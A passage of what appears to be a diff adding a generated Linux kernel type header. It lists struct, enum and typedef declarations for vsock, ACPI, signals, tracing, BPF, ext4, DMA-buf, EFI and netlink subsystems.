connect_timeout; + struct sock *listener; + struct list_head pending_links; + struct list_head accept_queue; + bool rejected; + struct delayed_work connect_work; + struct delayed_work pending_work; + struct delayed_work close_work; + bool close_work_scheduled; + u32 peer_shutdown; + bool sent_request; + bool ignore_connecting_rst; + u64 buffer_size; + u64 buffer_min_size; + u64 buffer_max_size; + void *trans; +}; + +struct vsock_transport_recv_notify_data; + +struct vsock_transport_send_notify_data; + +struct vsock_transport { + struct module *module; + int (*init)(struct vsock_sock *, struct vsock_sock *); + void (*destruct)(struct vsock_sock *); + void (*release)(struct vsock_sock *); + int (*cancel_pkt)(struct vsock_sock *); + int (*connect)(struct vsock_sock *); + int (*dgram_bind)(struct vsock_sock *, struct sockaddr_vm *); + int (*dgram_dequeue)(struct vsock_sock *, struct msghdr *, size_t, int); + int (*dgram_enqueue)(struct vsock_sock *, struct sockaddr_vm *, struct msghdr *, size_t); + bool (*dgram_allow)(u32, u32); + ssize_t (*stream_dequeue)(struct vsock_sock *, struct msghdr *, size_t, int); + ssize_t (*stream_enqueue)(struct vsock_sock *, struct msghdr *, size_t); + s64 (*stream_has_data)(struct vsock_sock *); + s64 (*stream_has_space)(struct vsock_sock *); + u64 (*stream_rcvhiwat)(struct vsock_sock *); + bool (*stream_is_active)(struct vsock_sock *); + bool (*stream_allow)(u32, u32); + int (*set_rcvlowat)(struct vsock_sock *, int); + ssize_t (*seqpacket_dequeue)(struct vsock_sock *, struct msghdr *, int); + int (*seqpacket_enqueue)(struct vsock_sock *, struct msghdr *, size_t); + bool (*seqpacket_allow)(u32); + u32 (*seqpacket_has_data)(struct vsock_sock *); + int (*notify_poll_in)(struct vsock_sock *, size_t, bool *); + int (*notify_poll_out)(struct vsock_sock *, size_t, bool *); + int (*notify_recv_init)(struct vsock_sock *, size_t, struct vsock_transport_recv_notify_data *); + int (*notify_recv_pre_block)(struct vsock_sock *, size_t, struct vsock_transport_recv_notify_data *); + int (*notify_recv_pre_dequeue)(struct vsock_sock *, size_t, struct vsock_transport_recv_notify_data *); + int (*notify_recv_post_dequeue)(struct vsock_sock *, size_t, ssize_t, bool, struct vsock_transport_recv_notify_data *); + int (*notify_send_init)(struct vsock_sock *, struct vsock_transport_send_notify_data *); + int (*notify_send_pre_block)(struct vsock_sock *, struct vsock_transport_send_notify_data *); + int (*notify_send_pre_enqueue)(struct vsock_sock *, struct vsock_transport_send_notify_data *); + int (*notify_send_post_enqueue)(struct vsock_sock *, ssize_t, struct vsock_transport_send_notify_data *); + void (*notify_buffer_size)(struct vsock_sock *, u64 *); + int (*shutdown)(struct vsock_sock *, int); + u32 (*get_local_cid)(); + int (*read_skb)(struct vsock_sock *, skb_read_actor_t); +}; + +struct vsock_transport_recv_notify_data { + u64 data1; + u64 data2; + bool notify_on_block; +}; + +struct vsock_transport_send_notify_data { + u64 data1; + u64 data2; +}; + +struct acpi_table_mcfg { + struct acpi_table_header header; + u8 reserved[8]; +}; + +struct acpi_mcfg_allocation { + u64 address; + u16 pci_segment; + u8 start_bus_number; + u8 end_bus_number; + u32 reserved; +}; + +struct pci_mmcfg_hostbridge_probe { + u32 bus; + u32 devfn; + u32 vendor; + u32 device; + const char * (*probe)(); +}; + +typedef bool (*check_reserved_t)(u64, u64, enum e820_type); + +struct acpi_power_register { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct cstate_entry { + struct { + unsigned int eax; + unsigned int ecx; + } states[8]; +}; + +typedef long unsigned int old_sigset_t; + +typedef struct siginfo siginfo_t; + +enum siginfo_layout { + SIL_KILL = 0, + SIL_TIMER = 1, + SIL_POLL = 2, + SIL_FAULT = 3, + SIL_FAULT_TRAPNO = 4, + SIL_FAULT_MCEERR = 5, + SIL_FAULT_BNDERR = 6, + SIL_FAULT_PKUERR = 7, + SIL_FAULT_PERF_EVENT = 8, + SIL_CHLD = 9, + SIL_RT = 10, + SIL_SYS = 11, +}; + +struct multiprocess_signals { + sigset_t signal; + struct hlist_node node; +}; + +struct core_vma_metadata; + +struct coredump_params { + const kernel_siginfo_t *siginfo; + struct file *file; + long unsigned int limit; + long unsigned int mm_flags; + int cpu; + loff_t written; + loff_t pos; + loff_t to_skip; + int vma_count; + size_t vma_data_size; + struct core_vma_metadata *vma_meta; +}; + +struct core_vma_metadata { + long unsigned int start; + long unsigned int end; + long unsigned int flags; + long unsigned int dump_size; + long unsigned int pgoff; + struct file *file; +}; + +enum { + TRACE_SIGNAL_DELIVERED = 0, + TRACE_SIGNAL_IGNORED = 1, + TRACE_SIGNAL_ALREADY_PENDING = 2, + TRACE_SIGNAL_OVERFLOW_FAIL = 3, + TRACE_SIGNAL_LOSE_INFO = 4, +}; + +struct trace_event_raw_signal_generate { + struct trace_entry ent; + int sig; + int errno; + int code; + char comm[16]; + pid_t pid; + int group; + int result; + char __data[0]; +}; + +struct trace_event_raw_signal_deliver { + struct trace_entry ent; + int sig; + int errno; + int code; + long unsigned int sa_handler; + long unsigned int sa_flags; + char __data[0]; +}; + +struct trace_event_data_offsets_signal_generate {}; + +struct trace_event_data_offsets_signal_deliver {}; + +typedef void (*btf_trace_signal_generate)(void *, int, struct kernel_siginfo *, struct task_struct *, int, int); + +typedef void (*btf_trace_signal_deliver)(void *, int, struct kernel_siginfo *, struct k_sigaction *); + +enum sig_handler { + HANDLER_CURRENT = 0, + HANDLER_SIG_DFL = 1, + HANDLER_EXIT = 2, +}; + +struct timens_offsets { + struct timespec64 monotonic; + struct timespec64 boottime; +}; + +struct time_namespace { + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct ns_common ns; + struct timens_offsets offsets; + struct page *vvar_page; + bool frozen_offsets; +}; + +struct futex_waitv { + __u64 val; + __u64 uaddr; + __u32 flags; + __u32 __reserved; +}; + +struct futex_vector { + struct futex_waitv w; + struct futex_q q; +}; + +struct audit_fsnotify_mark { + dev_t dev; + long unsigned int ino; + char *path; + struct fsnotify_mark mark; + struct audit_krule *rule; +}; + +enum { + TRACE_FTRACE_BIT = 0, + TRACE_FTRACE_NMI_BIT = 1, + TRACE_FTRACE_IRQ_BIT = 2, + TRACE_FTRACE_SIRQ_BIT = 3, + TRACE_FTRACE_TRANSITION_BIT = 4, + TRACE_INTERNAL_BIT = 5, + TRACE_INTERNAL_NMI_BIT = 6, + TRACE_INTERNAL_IRQ_BIT = 7, + TRACE_INTERNAL_SIRQ_BIT = 8, + TRACE_INTERNAL_TRANSITION_BIT = 9, + TRACE_BRANCH_BIT = 10, + TRACE_IRQ_BIT = 11, + TRACE_GRAPH_BIT = 12, + TRACE_GRAPH_DEPTH_START_BIT = 13, + TRACE_GRAPH_DEPTH_END_BIT = 14, + TRACE_GRAPH_NOTRACE_BIT = 15, + TRACE_RECORD_RECURSION_BIT = 16, +}; + +struct fgraph_ops { + trace_func_graph_ent_t entryfunc; + trace_func_graph_ret_t retfunc; +}; + +struct ftrace_graph_ent_entry { + struct trace_entry ent; + struct ftrace_graph_ent graph_ent; +}; + +struct ftrace_graph_ret_entry { + struct trace_entry ent; + struct ftrace_graph_ret ret; +}; + +enum { + FTRACE_HASH_FL_MOD = 1, +}; + +struct fgraph_cpu_data { + pid_t last_pid; + int depth; + int depth_irq; + int ignore; + long unsigned int enter_funcs[50]; +}; + +struct fgraph_data { + struct fgraph_cpu_data *cpu_data; + struct ftrace_graph_ent_entry ent; + struct ftrace_graph_ret_entry ret; + int failed; + int cpu; + long: 0; +} __attribute__((packed)); + +enum { + FLAGS_FILL_FULL = 268435456, + FLAGS_FILL_START = 536870912, + FLAGS_FILL_END = 805306368, +}; + +enum dynevent_type { + DYNEVENT_TYPE_SYNTH = 1, + DYNEVENT_TYPE_KPROBE = 2, + DYNEVENT_TYPE_NONE = 3, +}; + +struct dynevent_cmd; + +typedef int (*dynevent_create_fn_t)(struct dynevent_cmd *); + +struct dynevent_cmd { + struct seq_buf seq; + const char *event_name; + unsigned int n_fields; + enum dynevent_type type; + dynevent_create_fn_t run_command; + void *private_data; +}; + +enum { + TRACE_ARRAY_FL_GLOBAL = 1, +}; + +enum bpf_lru_list_type { + BPF_LRU_LIST_T_ACTIVE = 0, + BPF_LRU_LIST_T_INACTIVE = 1, + BPF_LRU_LIST_T_FREE = 2, + BPF_LRU_LOCAL_LIST_T_FREE = 3, + BPF_LRU_LOCAL_LIST_T_PENDING = 4, +}; + +struct bpf_lru_node { + struct list_head list; + u16 cpu; + u8 type; + u8 ref; +}; + +struct bpf_lru_list { + struct list_head lists[3]; + unsigned int counts[2]; + struct list_head *next_inactive_rotation; + raw_spinlock_t lock; +}; + +struct bpf_lru_locallist { + struct list_head lists[2]; + u16 next_steal; + raw_spinlock_t lock; +}; + +struct bpf_common_lru { + struct bpf_lru_list lru_list; + struct bpf_lru_locallist *local_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef bool (*del_from_htab_func)(void *, struct bpf_lru_node *); + +struct bpf_lru { + union { + struct bpf_common_lru common_lru; + struct bpf_lru_list *percpu_lru; + }; + del_from_htab_func del_from_htab; + void *del_arg; + unsigned int hash_offset; + unsigned int nr_scans; + bool percpu; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_queue_stack { + struct bpf_map map; + raw_spinlock_t lock; + u32 head; + u32 tail; + u32 size; + long: 0; + char elements[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_prog_info { + __u32 type; + __u32 id; + __u8 tag[8]; + __u32 jited_prog_len; + __u32 xlated_prog_len; + __u64 jited_prog_insns; + __u64 xlated_prog_insns; + __u64 load_time; + __u32 created_by_uid; + __u32 nr_map_ids; + __u64 map_ids; + char name[16]; + __u32 ifindex; + __u32 gpl_compatible: 1; + __u64 netns_dev; + __u64 netns_ino; + __u32 nr_jited_ksyms; + __u32 nr_jited_func_lens; + __u64 jited_ksyms; + __u64 jited_func_lens; + __u32 btf_id; + __u32 func_info_rec_size; + __u64 func_info; + __u32 nr_func_info; + __u32 nr_line_info; + __u64 line_info; + __u64 jited_line_info; + __u32 nr_jited_line_info; + __u32 line_info_rec_size; + __u32 jited_line_info_rec_size; + __u32 nr_prog_tags; + __u64 prog_tags; + __u64 run_time_ns; + __u64 run_cnt; + __u64 recursion_misses; + __u32 verified_insns; + __u32 attach_btf_obj_id; + __u32 attach_btf_id; +}; + +struct bpf_map_info { + __u32 type; + __u32 id; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; + char name[16]; + __u32 ifindex; + __u32 btf_vmlinux_value_type_id; + __u64 netns_dev; + __u64 netns_ino; + __u32 btf_id; + __u32 btf_key_type_id; + __u32 btf_value_type_id; + __u64 map_extra; +}; + +struct bpf_offload_dev { + const struct bpf_prog_offload_ops *ops; + struct list_head netdevs; + void *priv; +}; + +enum { + XDP_METADATA_KFUNC_RX_TIMESTAMP = 0, + XDP_METADATA_KFUNC_RX_HASH = 1, + MAX_XDP_METADATA_KFUNC = 2, +}; + +struct bpf_offload_netdev { + struct rhash_head l; + struct net_device *netdev; + struct bpf_offload_dev *offdev; + struct list_head progs; + struct list_head maps; + struct list_head offdev_netdevs; +}; + +struct ns_get_path_bpf_prog_args { + struct bpf_prog *prog; + struct bpf_prog_info *info; +}; + +struct ns_get_path_bpf_map_args { + struct bpf_offloaded_map *offmap; + struct bpf_map_info *info; +}; + +typedef unsigned int zap_flags_t; + +struct hugetlb_vma_lock { + struct kref refs; + struct rw_semaphore rw_sema; + struct vm_area_struct *vma; +}; + +struct huge_bootmem_page { + struct list_head list; + struct hstate *hstate; +}; + +enum { + FOLL_TOUCH = 65536, + FOLL_TRIED = 131072, + FOLL_REMOTE = 262144, + FOLL_PIN = 524288, + FOLL_FAST_ONLY = 1048576, + FOLL_UNLOCKABLE = 2097152, +}; + +enum vma_resv_mode { + VMA_NEEDS_RESV = 0, + VMA_COMMIT_RESV = 1, + VMA_END_RESV = 2, + VMA_ADD_RESV = 3, + VMA_DEL_RESV = 4, +}; + +struct node_hstate { + struct kobject *hugepages_kobj; + struct kobject *hstate_kobjs[2]; +}; + +struct stat { + __kernel_ulong_t st_dev; + __kernel_ulong_t st_ino; + __kernel_ulong_t st_nlink; + unsigned int st_mode; + unsigned int st_uid; + unsigned int st_gid; + unsigned int __pad0; + __kernel_ulong_t st_rdev; + __kernel_long_t st_size; + __kernel_long_t st_blksize; + __kernel_long_t st_blocks; + __kernel_ulong_t st_atime; + __kernel_ulong_t st_atime_nsec; + __kernel_ulong_t st_mtime; + __kernel_ulong_t st_mtime_nsec; + __kernel_ulong_t st_ctime; + __kernel_ulong_t st_ctime_nsec; + __kernel_long_t __unused[3]; +}; + +struct __old_kernel_stat { + short unsigned int st_dev; + short unsigned int st_ino; + short unsigned int st_mode; + short unsigned int st_nlink; + short unsigned int st_uid; + short unsigned int st_gid; + short unsigned int st_rdev; + unsigned int st_size; + unsigned int st_atime; + unsigned int st_mtime; + unsigned int st_ctime; +}; + +struct statx_timestamp { + __s64 tv_sec; + __u32 tv_nsec; + __s32 __reserved; +}; + +struct statx { + __u32 stx_mask; + __u32 stx_blksize; + __u64 stx_attributes; + __u32 stx_nlink; + __u32 stx_uid; + __u32 stx_gid; + __u16 stx_mode; + __u16 __spare0[1]; + __u64 stx_ino; + __u64 stx_size; + __u64 stx_blocks; + __u64 stx_attributes_mask; + struct statx_timestamp stx_atime; + struct statx_timestamp stx_btime; + struct statx_timestamp stx_ctime; + struct statx_timestamp stx_mtime; + __u32 stx_rdev_major; + __u32 stx_rdev_minor; + __u32 stx_dev_major; + __u32 stx_dev_minor; + __u64 stx_mnt_id; + __u32 stx_dio_mem_align; + __u32 stx_dio_offset_align; + __u64 __spare3[12]; +}; + +struct kernfs_open_node { + struct callback_head callback_head; + atomic_t event; + wait_queue_head_t poll; + struct list_head files; + unsigned int nr_mmapped; + unsigned int nr_to_release; +}; + +struct kernfs_super_info { + struct super_block *sb; + struct kernfs_root *root; + const void *ns; + struct list_head node; +}; + +struct fscrypt_name { + const struct qstr *usr_fname; + struct fscrypt_str disk_name; + u32 hash; + u32 minor_hash; + struct fscrypt_str crypto_buf; + bool is_nokey_name; +}; + +struct ext4_dir_entry { + __le32 inode; + __le16 rec_len; + __le16 name_len; + char name[255]; +}; + +struct ext4_dir_entry_tail { + __le32 det_reserved_zero1; + __le16 det_rec_len; + __u8 det_reserved_zero2; + __u8 det_reserved_ft; + __le32 det_checksum; +}; + +typedef enum { + EITHER = 0, + INDEX = 1, + DIRENT = 2, + DIRENT_HTREE = 3, +} dirblock_type_t; + +struct fake_dirent { + __le32 inode; + __le16 rec_len; + u8 name_len; + u8 file_type; +}; + +struct dx_countlimit { + __le16 limit; + __le16 count; +}; + +struct dx_entry { + __le32 hash; + __le32 block; +}; + +struct dx_root_info { + __le32 reserved_zero; + u8 hash_version; + u8 info_length; + u8 indirect_levels; + u8 unused_flags; +}; + +struct dx_root { + struct fake_dirent dot; + char dot_name[4]; + struct fake_dirent dotdot; + char dotdot_name[4]; + struct dx_root_info info; + struct dx_entry entries[0]; +}; + +struct dx_node { + struct fake_dirent fake; + struct dx_entry entries[0]; +}; + +struct dx_frame { + struct buffer_head *bh; + struct dx_entry *entries; + struct dx_entry *at; +}; + +struct dx_map_entry { + u32 hash; + u16 offs; + u16 size; +}; + +struct dx_tail { + u32 dt_reserved; + __le32 dt_checksum; +}; + +struct ext4_renament { + struct inode *dir; + struct dentry *dentry; + struct inode *inode; + bool is_dir; + int dir_nlink_delta; + struct buffer_head *bh; + struct ext4_dir_entry_2 *de; + int inlined; + struct buffer_head *dir_bh; + struct ext4_dir_entry_2 *parent_de; + int dir_inlined; +}; + +struct request_key_auth { + struct callback_head rcu; + struct key *target_key; + struct key *dest_keyring; + const struct cred *cred; + void *callout_info; + size_t callout_len; + pid_t pid; + char op[8]; +}; + +struct assoc_array_edit; + +struct ima_queue_entry { + struct hlist_node hnext; + struct list_head later; + struct ima_template_entry *entry; +}; + +struct ima_key_entry { + struct list_head list; + void *payload; + size_t payload_len; + char *keyring_name; +}; + +struct crypto_rfc3686_ctx { + struct crypto_skcipher *child; + u8 nonce[4]; +}; + +struct crypto_rfc3686_req_ctx { + u8 iv[16]; + struct skcipher_request subreq; +}; + +struct badblocks { + struct device *dev; + int count; + int unacked_exist; + int shift; + u64 *page; + int changed; + seqlock_t lock; + sector_t sector; + sector_t size; +}; + +struct d_partition { + __le32 p_res; + u8 p_fstype; + u8 p_res2[3]; + __le32 p_offset; + __le32 p_size; +}; + +struct disklabel { + u8 d_reserved[270]; + struct d_partition d_partitions[2]; + u8 d_blank[208]; + __le16 d_magic; +} __attribute__((packed)); + +struct io_uring_file_index_range { + __u32 off; + __u32 len; + __u64 resv; +}; + +struct karatsuba_ctx { + struct karatsuba_ctx *next; + mpi_ptr_t tspace; + mpi_size_t tspace_size; + mpi_ptr_t tp; + mpi_size_t tp_size; +}; + +struct hotplug_slot_ops; + +struct hotplug_slot { + const struct hotplug_slot_ops *ops; + struct list_head slot_list; + struct pci_slot *pci_slot; + struct module *owner; + const char *mod_name; +}; + +enum pci_dev_flags { + PCI_DEV_FLAGS_MSI_INTX_DISABLE_BUG = 1, + PCI_DEV_FLAGS_NO_D3 = 2, + PCI_DEV_FLAGS_ASSIGNED = 4, + PCI_DEV_FLAGS_ACS_ENABLED_QUIRK = 8, + PCI_DEV_FLAG_PCIE_BRIDGE_ALIAS = 32, + PCI_DEV_FLAGS_NO_BUS_RESET = 64, + PCI_DEV_FLAGS_NO_PM_RESET = 128, + PCI_DEV_FLAGS_VPD_REF_F0 = 256, + PCI_DEV_FLAGS_BRIDGE_XLATE_ROOT = 512, + PCI_DEV_FLAGS_NO_FLR_RESET = 1024, + PCI_DEV_FLAGS_NO_RELAXED_ORDERING = 2048, + PCI_DEV_FLAGS_HAS_MSI_MASKING = 4096, +}; + +enum pci_fixup_pass { + pci_fixup_early = 0, + pci_fixup_header = 1, + pci_fixup_final = 2, + pci_fixup_enable = 3, + pci_fixup_resume = 4, + pci_fixup_suspend = 5, + pci_fixup_resume_early = 6, + pci_fixup_suspend_late = 7, +}; + +struct hotplug_slot_ops { + int (*enable_slot)(struct hotplug_slot *); + int (*disable_slot)(struct hotplug_slot *); + int (*set_attention_status)(struct hotplug_slot *, u8); + int (*hardware_test)(struct hotplug_slot *, u32); + int (*get_power_status)(struct hotplug_slot *, u8 *); + int (*get_attention_status)(struct hotplug_slot *, u8 *); + int (*get_latch_status)(struct hotplug_slot *, u8 *); + int (*get_adapter_status)(struct hotplug_slot *, u8 *); + int (*reset_slot)(struct hotplug_slot *, bool); +}; + +enum pci_bar_type { + pci_bar_unknown = 0, + pci_bar_io = 1, + pci_bar_mem32 = 2, + pci_bar_mem64 = 3, +}; + +struct pci_domain_busn_res { + struct list_head list; + struct resource res; + int domain_nr; +}; + +typedef unsigned int u_int; + +struct fb_con2fbmap { + __u32 console; + __u32 framebuffer; +}; + +enum { + FB_BLANK_UNBLANK = 0, + FB_BLANK_NORMAL = 1, + FB_BLANK_VSYNC_SUSPEND = 2, + FB_BLANK_HSYNC_SUSPEND = 3, + FB_BLANK_POWERDOWN = 4, +}; + +enum { + FBCON_LOGO_CANSHOW = -1, + FBCON_LOGO_DRAW = -2, + FBCON_LOGO_DONTSHOW = -3, +}; + +struct acpi_device_properties { + const guid_t *guid; + union acpi_object *properties; + struct list_head list; + void **bufs; +}; + +struct acpi_data_node { + const char *name; + acpi_handle handle; + struct fwnode_handle fwnode; + struct fwnode_handle *parent; + struct acpi_device_data data; + struct list_head sibling; + struct kobject kobj; + struct completion kobj_done; +}; + +enum { + AML_FIELD_ACCESS_ANY = 0, + AML_FIELD_ACCESS_BYTE = 1, + AML_FIELD_ACCESS_WORD = 2, + AML_FIELD_ACCESS_DWORD = 3, + AML_FIELD_ACCESS_QWORD = 4, + AML_FIELD_ACCESS_BUFFER = 5, +}; + +enum idle_boot_override { + IDLE_NO_OVERRIDE = 0, + IDLE_HALT = 1, + IDLE_NOMWAIT = 2, + IDLE_POLL = 3, +}; + +struct acpi_lpi_states_array { + unsigned int size; + unsigned int composite_states_size; + struct acpi_lpi_state *entries; + struct acpi_lpi_state *composite_states[8]; +}; + +struct trace_event_raw_iommu_group_event { + struct trace_entry ent; + int gid; + u32 __data_loc_device; + char __data[0]; +}; + +struct trace_event_raw_iommu_device_event { + struct trace_entry ent; + u32 __data_loc_device; + char __data[0]; +}; + +struct trace_event_raw_map { + struct trace_entry ent; + u64 iova; + u64 paddr; + size_t size; + char __data[0]; +}; + +struct trace_event_raw_unmap { + struct trace_entry ent; + u64 iova; + size_t size; + size_t unmapped_size; + char __data[0]; +}; + +struct trace_event_raw_iommu_error { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_driver; + u64 iova; + int flags; + char __data[0]; +}; + +struct trace_event_data_offsets_iommu_group_event { + u32 device; +}; + +struct trace_event_data_offsets_iommu_device_event { + u32 device; +}; + +struct trace_event_data_offsets_map {}; + +struct trace_event_data_offsets_unmap {}; + +struct trace_event_data_offsets_iommu_error { + u32 device; + u32 driver; +}; + +typedef void (*btf_trace_add_device_to_group)(void *, int, struct device *); + +typedef void (*btf_trace_remove_device_from_group)(void *, int, struct device *); + +typedef void (*btf_trace_attach_device_to_domain)(void *, struct device *); + +typedef void (*btf_trace_map)(void *, long unsigned int, phys_addr_t, size_t); + +typedef void (*btf_trace_unmap)(void *, long unsigned int, size_t, size_t); + +typedef void (*btf_trace_io_page_fault)(void *, struct device *, long unsigned int, int); + +struct iosys_map { + union { + void *vaddr_iomem; + void *vaddr; + }; + bool is_iomem; +}; + +struct dma_buf; + +struct dma_buf_attachment; + +struct dma_buf_ops { + bool cache_sgt_mapping; + int (*attach)(struct dma_buf *, struct dma_buf_attachment *); + void (*detach)(struct dma_buf *, struct dma_buf_attachment *); + int (*pin)(struct dma_buf_attachment *); + void (*unpin)(struct dma_buf_attachment *); + struct sg_table * (*map_dma_buf)(struct dma_buf_attachment *, enum dma_data_direction); + void (*unmap_dma_buf)(struct dma_buf_attachment *, struct sg_table *, enum dma_data_direction); + void (*release)(struct dma_buf *); + int (*begin_cpu_access)(struct dma_buf *, enum dma_data_direction); + int (*end_cpu_access)(struct dma_buf *, enum dma_data_direction); + int (*mmap)(struct dma_buf *, struct vm_area_struct *); + int (*vmap)(struct dma_buf *, struct iosys_map *); + void (*vunmap)(struct dma_buf *, struct iosys_map *); +}; + +struct dma_buf_poll_cb_t { + struct dma_fence_cb cb; + wait_queue_head_t *poll; + __poll_t active; +}; + +struct dma_resv; + +struct dma_buf { + size_t size; + struct file *file; + struct list_head attachments; + const struct dma_buf_ops *ops; + unsigned int vmapping_counter; + struct iosys_map vmap_ptr; + const char *exp_name; + const char *name; + spinlock_t name_lock; + struct module *owner; + struct list_head list_node; + void *priv; + struct dma_resv *resv; + wait_queue_head_t poll; + struct dma_buf_poll_cb_t cb_in; + struct dma_buf_poll_cb_t cb_out; +}; + +struct dma_buf_attach_ops; + +struct dma_buf_attachment { + struct dma_buf *dmabuf; + struct device *dev; + struct list_head node; + struct sg_table *sgt; + enum dma_data_direction dir; + bool peer2peer; + const struct dma_buf_attach_ops *importer_ops; + void *importer_priv; + void *priv; +}; + +struct dma_resv_list; + +struct dma_resv { + struct ww_mutex lock; + struct dma_resv_list *fences; +}; + +struct dma_buf_attach_ops { + bool allow_peer2peer; + void (*move_notify)(struct dma_buf_attachment *); +}; + +struct dma_buf_export_info { + const char *exp_name; + struct module *owner; + const struct dma_buf_ops *ops; + size_t size; + int flags; + struct dma_resv *resv; + void *priv; +}; + +struct dma_fence_unwrap { + struct dma_fence *chain; + struct dma_fence *array; + unsigned int index; +}; + +struct sync_file { + struct file *file; + char user_name[32]; + struct list_head sync_file_list; + wait_queue_head_t wq; + long unsigned int flags; + struct dma_fence *fence; + struct dma_fence_cb cb; +}; + +enum dma_resv_usage { + DMA_RESV_USAGE_KERNEL = 0, + DMA_RESV_USAGE_WRITE = 1, + DMA_RESV_USAGE_READ = 2, + DMA_RESV_USAGE_BOOKKEEP = 3, +}; + +struct dma_resv_iter { + struct dma_resv *obj; + enum dma_resv_usage usage; + struct dma_fence *fence; + enum dma_resv_usage fence_usage; + unsigned int index; + struct dma_resv_list *fences; + unsigned int num_fences; + bool is_restarted; +}; + +struct pseudo_fs_context { + const struct super_operations *ops; + const struct xattr_handler **xattr; + const struct dentry_operations *dops; + long unsigned int magic; +}; + +struct dma_buf_sync { + __u64 flags; +}; + +struct dma_buf_export_sync_file { + __u32 flags; + __s32 fd; +}; + +struct dma_buf_import_sync_file { + __u32 flags; + __s32 fd; +}; + +struct dma_buf_list { + struct list_head head; + struct mutex lock; +}; + +enum serio_event_type { + SERIO_RESCAN_PORT = 0, + SERIO_RECONNECT_PORT = 1, + SERIO_RECONNECT_SUBTREE = 2, + SERIO_REGISTER_PORT = 3, + SERIO_ATTACH_DRIVER = 4, +}; + +struct serio_event { + enum serio_event_type type; + void *object; + struct module *owner; + struct list_head node; +}; + +struct ir_raw_handler { + struct list_head list; + u64 protocols; + int (*decode)(struct rc_dev *, struct ir_raw_event); + int (*encode)(enum rc_proto, u32, struct ir_raw_event *, unsigned int); + u32 carrier; + u32 min_timeout; + int (*raw_register)(struct rc_dev *); + int (*raw_unregister)(struct rc_dev *); +}; + +struct ir_raw_timings_manchester { + unsigned int leader_pulse; + unsigned int leader_space; + unsigned int clock; + unsigned int invert: 1; + unsigned int trailer_space; +}; + +struct ir_raw_timings_pd { + unsigned int header_pulse; + unsigned int header_space; + unsigned int bit_pulse; + unsigned int bit_space[2]; + unsigned int trailer_pulse; + unsigned int trailer_space; + unsigned int msb_first: 1; +}; + +struct ir_raw_timings_pl { + unsigned int header_pulse; + unsigned int bit_space; + unsigned int bit_pulse[2]; + unsigned int trailer_space; + unsigned int msb_first: 1; +}; + +struct debugfs_blob_wrapper { + void *data; + long unsigned int size; +}; + +typedef efi_status_t efi_query_variable_store_t(u32, long unsigned int, bool); + +typedef struct { + efi_guid_t guid; + u32 table; +} efi_config_table_32_t; + +typedef union { + struct { + efi_guid_t guid; + void *table; + }; + efi_config_table_32_t mixed_mode; +} efi_config_table_t; + +typedef struct { + u16 version; + u16 length; + u32 runtime_services_supported; +} efi_rt_properties_table_t; + +struct efivar_operations { + efi_get_variable_t *get_variable; + efi_get_next_variable_t *get_next_variable; + efi_set_variable_t *set_variable; + efi_set_variable_t *set_variable_nonblocking; + efi_query_variable_store_t *query_variable_store; +}; + +struct efivars { + struct kset *kset; + const struct efivar_operations *ops; +}; + +struct linux_efi_random_seed { + u32 size; + u8 bits[0]; +}; + +struct linux_efi_memreserve { + int size; + atomic_t count; + phys_addr_t next; + struct { + phys_addr_t base; + phys_addr_t size; + } entry[0]; +}; + +struct linux_efi_initrd { + long unsigned int base; + long unsigned int size; +}; + +enum { + VMGENID_SIZE = 16, +}; + +struct vmgenid_state { + u8 *next_id; + u8 this_id[16]; +}; + +struct netlink_dump_control { + int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + void *data; + struct module *module; + u32 min_dump_alloc; +}; + +enum { + NDA_UNSPEC = 0, + NDA_DST = 1, + NDA_LLADDR = 2, + NDA_CACHEINFO = 3, + NDA_PROBES = 4, + NDA_VLAN = 5, + NDA_PORT = 6, + NDA_VNI = 7, + NDA_IFINDEX = 8, + NDA_MASTER = 9, + NDA_LINK_NETNSID = 10, + NDA_SRC_VNI = 11, + NDA_PROTOCOL = 12, + NDA_NH_ID = 13, + NDA_FDB_EXT_ATTRS = 14, + NDA_FLAGS_EXT = 15, + NDA_NDM_STATE_MASK = 16, + NDA_NDM_FLAGS_MASK = 17, + __NDA_MAX = 18, +}; + +struct rtnl_link_stats { + __u32 rx_packets; + __u32 tx_packets; + __u32 rx_bytes; + __u32 tx_bytes; + __u32 rx_errors; + __u32 tx_errors; + __u32 rx_dropped; + __u32 tx_dropped; + __u32 multicast; + __u32 collisions; + __u32 rx_length_errors; + __u32 rx_over_errors; + __u32 rx_crc_errors; + __u32 rx_frame_errors; + __u32 rx_fifo_errors; + __u32 rx_missed_errors; + __u32 tx_aborted_errors; + __u32 tx_carrier_errors; + __u32 tx_fifo_errors; + __u32 tx_heartbeat_errors; + __u32 tx_window_errors; + __u32 rx_compressed; + __u32 tx_compressed; + __u32 rx_nohandler; +}; + +struct rtnl_link_ifmap { + __u64 mem_start; + __u64 mem_end; + __u64 base_addr; + __u16 irq; + __u8 dma; + __u8 port; +}; + +enum { + IFLA_PROTO_DOWN_REASON_UNSPEC = 0, + IFLA_PROTO_DOWN_REASON_MASK = 1, + IFLA_PROTO_DOWN_REASON_VALUE = 2, + __IFLA_PROTO_DOWN_REASON_CNT = 3, + IFLA_PROTO_DOWN_REASON_MAX = 2, +}; + +enum { + IFLA_BRPORT_UNSPEC = 0, + IFLA_BRPORT_STATE = 1, + IFLA_BRPORT_PRIORITY = 2, + IFLA_BRPORT_COST = 3, + IFLA_BRPORT_MODE = 4, + IFLA_BRPORT_GUARD = 5, + IFLA_BRPORT_PROTECT = 6, + IFLA_BRPORT_FAST_LEAVE = 7, + IFLA_BRPORT_LEARNING = 8, + IFLA_BRPORT_UNICAST_FLOOD = 9, + IFLA_BRPORT_PROXYARP = 10, + IFLA_BRPORT_LEARNING_SYNC = 11, + IFLA_BRPORT_PROXYARP_WIFI = 12, + IFLA_BRPORT_ROOT_ID = 13, + IFLA_BRPORT_BRIDGE_ID = 14, + IFLA_BRPORT_DESIGNATED_PORT = 15, + IFLA_BRPORT_DESIGNATED_COST = 16, + IFLA_BRPORT_ID = 17, + IFLA_BRPORT_NO = 18, + 